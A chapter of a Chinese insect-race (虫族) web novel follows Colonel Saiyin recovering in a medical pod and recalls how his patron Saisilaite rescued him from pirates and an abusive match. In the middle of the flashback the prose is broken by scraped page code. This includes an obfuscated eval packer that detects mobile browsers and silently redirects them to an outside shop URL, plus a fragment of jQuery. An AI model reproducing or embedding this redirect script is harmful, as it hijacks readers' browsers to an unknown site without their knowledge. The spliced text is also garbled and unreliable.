仟脉星的医疗设备并不如主星完善,赛斯莱特在出发时携带了一部分能挪动的医疗设备,其中就有一个最新款医疗舱。

    医疗舱内的营养液已经由墨绿色褪成几乎透明的浅绿色,足以见得在里面休养的虫受了多重的伤。

    联邦最先进的这一代医疗舱是由赛斯莱特投资研发的,对快速修复沉疴旧疾和致命伤有着不可或缺的作用。

    医疗舱最珍贵的部分是里面灌满的营养液,舱内不可再生,一舱一用,初始颜色是浓重的墨绿色,随着被虫体吸收,营养液的颜色会逐渐褪掉,逐次变成青绿色,浅绿色,直至透明。

    属于活死虫,肉白骨的伟大发明。

    这也就是哪怕赛斯莱特凭一虫之力占据联邦大半经济命脉,甚至张口吃下五成对军事有重大意义的矿资源的时候,元帅都愿为此让步的理由。

    他大大提高了联邦虫族,尤其是军雌的存活率。

    他是整个虫族的特例。

    正因为如此,元帅认为赛斯莱特是唯一能保下菲尼克斯的虫,并寄予了微薄的希望。

    在褪到近乎透明的浅绿色营养液中,金发碧眼的军雌在众虫的目光中睁开了眼。

    他先是扫视了一圈,看到熟悉的银白长发雄虫后,眼睛眨了眨,当即就要开口说话。

    可他忘了自己还在医疗舱内的营养液里。

    于是——

    “咕噜咕噜咕噜……”

    “……”

    看到雌虫一如既往的傻样之后,赛斯莱特无奈揉了揉眉心。

    站在赛斯莱特右侧偏后位置的菲尼克斯也不忍地移开了眼。

    不知道自己造成笑料的塞因在医疗虫的帮助下爬了出来,接触到熟悉的空气,他就要张口说话,下一秒却被赛斯莱特制止了:“先去换衣服,其他事不急。”

    金发雌虫又被塞进了衣帽间。

    ……

    在所有东西都收拾整齐后,金发雌虫,也就是联邦第五军上校,塞因眼睛亮晶晶地站在了赛斯莱特的面前。

    在赛斯莱特身边,元帅的投影也浮现出来。

    “好了,虫都到的差不多了,塞因,你来说一下仟脉星一号点遇袭当天发生的事吧。”

    “好,”塞因看了看穿着黑裤白衬衣,银白长发随意扎了个低马尾的雄虫,和穿着一身军装,面容一丝不苟的元帅,开口汇报自己的遭遇和推测。

    ……

    一场会议下来,在座的三只虫面容都有些严肃,尤其是元帅,脸色已经不能用黑的像煤炭来形容了。

    “真是没想到!”充满怒气的声音充斥在会议室,赛斯莱特的眼底也闪过一抹明显的杀意。

    他闭了闭眼,轻声开口:“先不能轻举妄动,此事涉及太多,没有证据很难将他们一网打尽、连根拔起,再等等,等影石修复好,这是重要的证据。”

    听到‘影石’二字,原本还带着怒容的塞因不自觉摸了摸鼻尖。

    投影仪上的元帅深呼吸一口气,“我会注意分寸的,你们也注意安全。”

    说完,便道别关掉了联络器。

    会议室重新恢复了安静,金发碧眼的雌虫转头,眼底是全然的信任和尊敬:“教父……”

    “这次做的很好,塞因,”赛斯莱特从不吝啬自己的称赞。

    塞因眼睛刚要亮起来,下一秒,就被雄虫凉嗖嗖的话打入谷底:“但是我是不是说过一切要以自己性命为先。”

    “……”

    塞因咽了咽口水,他的脚尖悄咪咪挪了下位置,语速极快地说道:“我突然想起来我还有工作没有完成,教父我先溜……”

    “塞因!”

    金发雌虫蔫了下去。

    “我错了。”

    赛斯莱特抵了抵腮帮子,简直要被气笑了:“你挺能耐啊塞因,遇到危险不会跑,还冒着被抓住的风险去录视频,求救信号不发自己的位置和消息,还一个劲地拖着破破烂烂的身体往密林深处跑。”

    说着,他深吸一口气,拍了两下手,“你真是好样的啊,早知道你这么不爱惜自己我就没必要救你回来了,你……”

    塞因双眼无神地听着赛斯莱特的输出。

    完了。

    ……

    塞因是在十八年前遇到的赛斯莱特。

    那个时候塞因刚成年,刚过完成年礼的雌虫塞因和家里虫吵了一架后背着家里虫偷偷跑了出去。

    他们家其实还挺有钱的,作为理查德家族最小的雌虫,继承了雌父和雄父良好的基因,是个精致漂亮的小雌虫。

    然后他就被觊觎上了。

    一个又油腻又丑还有特殊癖好的B级雄虫——塞因是这么对赛斯莱特说的。

    塞因的等级不是很高,B级,很大众的一个等级,去参军最多只能混个小小的职位,所以家里虫给他安排了从政的道路。

    塞因成年前就一直在为这个做准备,直到他被这只恶心的B级雄虫看上。

    在虫族,B级雄虫能娶A级雌虫当雌君,而B级雌虫只能做个雌侍。

    但是耐不住塞因实在是好看,这只地位比理查德家还要高的雄虫拿出了不错的诚意求娶塞因作为雌君。

    有道是好事不出门,坏事传千里,这只雄虫的好事一件没有,坏事讲出来能讲三天三夜。

    什么虐待雌奴啊,当街调戏抢走雌虫啊……什么都有。

    塞因想,爱谁嫁谁嫁,反正他不嫁。

    但是以往对塞因几乎有求必应的雌父雄父在这件事上没有惯着他。

    塞因和他们大吵一架后背着小行囊离家出走了。

    这是他第一次离家出走不太熟练,钱没带够还被骗了大半。

    然后他带着剩的不多的钱坐上了一架星际黑船——没办法,就这个不需要身份证明,他的家里虫才不会找到他。

    塞因想偶尔坐一次肯定不会有问题的,于是他安心地在黑船上睡着了。

    再次醒来,这个没吃过虫间疾苦的小雌虫发现自己被绑架了。

    ——一伙星盗劫持了这艘黑船,俗称黑吃黑。

    倒霉的塞因没什么防身能力,加上嘴又快又倔强,吃了不少苦。

    在这只小雌虫即将丢掉自己的性命的时候,伪装成普通雌虫的赛斯莱特看不下去了,他主动出面换下了塞因。

    但是这群星盗可不是什么做慈善的,赛斯莱特也因此吃了不少苦头。

    在获救之后,已经被吓傻了的塞因抱着浑身是伤的赛斯莱特嚎啕大哭,让赛斯莱特别死。

    身上全是星盗的血的赛斯莱特:……

    后来屁颠颠跟着赛斯莱特不走的塞因得知了他和星盗斗智斗勇,一只虫杀了敌方八只虫最后成功让全黑船获救的事后:<(?o?)>

    他成了赛斯莱特的小迷虫。

    赛斯莱特去哪他去哪。

    赛斯莱特也从这只跟屁虫日常的只言片语中了解到了他的经历。

    在塞因又一次喝醉酒在院子里滚来滚去的时候,赛斯莱特拿凉水泼醒了他,拎着雌虫的领子告诉他,如果还想继续跟着他,就不要再当个米虫,听他的话,听他的安排。

    说完就回屋了,独留一只破碎的小雌虫冷风中流泪。

    冷风中流泪的雌虫塞因红着眼在院子里坐了一晚上,在天还没亮的时候摸黑跑到了赛斯莱特的卧室,摇醒了还在睡梦中的雄虫。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17920758|213458||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    据赛斯莱特后来回想这晚,他是想砍死这只熊孩子的,但是他还是凭借惊虫的毅力忍住了。

    被冻的一把鼻涕一把泪的雌虫哭着说不想回去了,要跟着他。

    然后第二天刚天亮,赛斯莱特就把这只小雌虫扔到集训营了。

    集训营——没有毕业于军校的雌虫成为军雌的唯一路径。

    没受过苦的小雌虫被训练的不轻,每天身上都会出现新的伤痕,很快他就受不了了,甚至还会想其实嫁给那个恶心的雄虫受的伤也就这样吧。

    他很快就散漫了下来,赛斯莱特供着他集训的费用和生活的费用,小雌虫很快就被同为集训营的雌虫带着花天酒地了。

    但令他转变的日子很快就到了。

    理查德家族和那个恶心雄虫的家族联手很快找到了他,并花钱收买了带他吃喝玩乐的雌虫。

    雌虫迷晕他并把他交了出去。

    塞因又回到了那个家里,他被雄父用鞭子抽了一顿,浑身血淋淋地送到了那个恶心的雄虫的家里,以雌奴的身份——据说是他的雄父雌父赔罪的歉意。

    这只雄虫的地位确实很高,浑身鞭伤没有得到处理的塞因被那只雌虫戴上了足以让虫慢性窒息的抑制环,扔在了冰天雪地里。

    真的好冷……洁白的雪被塞因身上源源不断流出来的血染色。

    塞因想,还是集训营好熬一些,因为那只叫赛斯莱特的雌虫会时不时地给他带好吃的。

    他后悔了,塞因的眼前有些发黑,他辜负了赛斯莱特。

    他想,赛斯莱特应该是知道自己不务正业了,自己花了他这么多钱呢,他应该是知道的。

    但是他从没有责怪过他……

    悔恨的泪水混着血水淌下,塞因的四肢变得冰凉。

    “塞因?塞因?”

    塞因听到了熟悉的声音在叫他。

    他要死了吗,怎么幻听了。

    可后来,他知道了那晚的他并没有幻听。

    赛斯莱特来救他了。

    他也是在那之后,知道了赛斯莱特根本不是雌虫,他是一只雄虫,一只S级雄虫,还是很有钱的那种。

    但是很快赛斯莱特就没钱了,赛斯莱特以自己S级雄虫的身份做押,用自己全部身家换走了塞因——一只浑身血淋淋的没什么用但是长得还可以的小雌虫。

    自那天起,塞因性情大变,他沉默着完成集训营一次又一次严苛的训练,孤身一虫在夜晚加训。

    他要变强,他要保护雄虫,保护他的教父——他自封的。

    当然,这种状态的小雌虫很快又被赛斯莱特揍了。

    塞因至今都记得赛斯莱特对自己说的话,他说:“我不需要一个不健康的雌虫,塞因,别再让我看见你不把身体当回事,一切以自己的性命为先。”

    积压许久的情绪在那一瞬间爆发,塞因‘嗷’地一声就扑在赛斯莱特身上嚎啕大哭。

    赛斯莱特救了他两次,给了他新生,他暗暗发誓要报答赛斯莱特,他一定要进入军队,他一定要变强变有钱。

    当然,他最后放弃了变有钱这个想法。

    因为他发现不管他怎么努力,都不会变得比赛斯莱特还有钱,他从来没见过这么会做生意的虫,还是个雄虫。

    于是自此塞因的目标就成了变强,他也要为赛斯莱特的财产保驾护航。

    经过日复一日年复一年的魔鬼训练,塞因从B级跨越到了A级,进入了联邦第五军,一路升到了上校职位。

    他也成功践行了他之前的诺言,给赛斯莱特的财产保驾护航。

    ……                </(?o?)>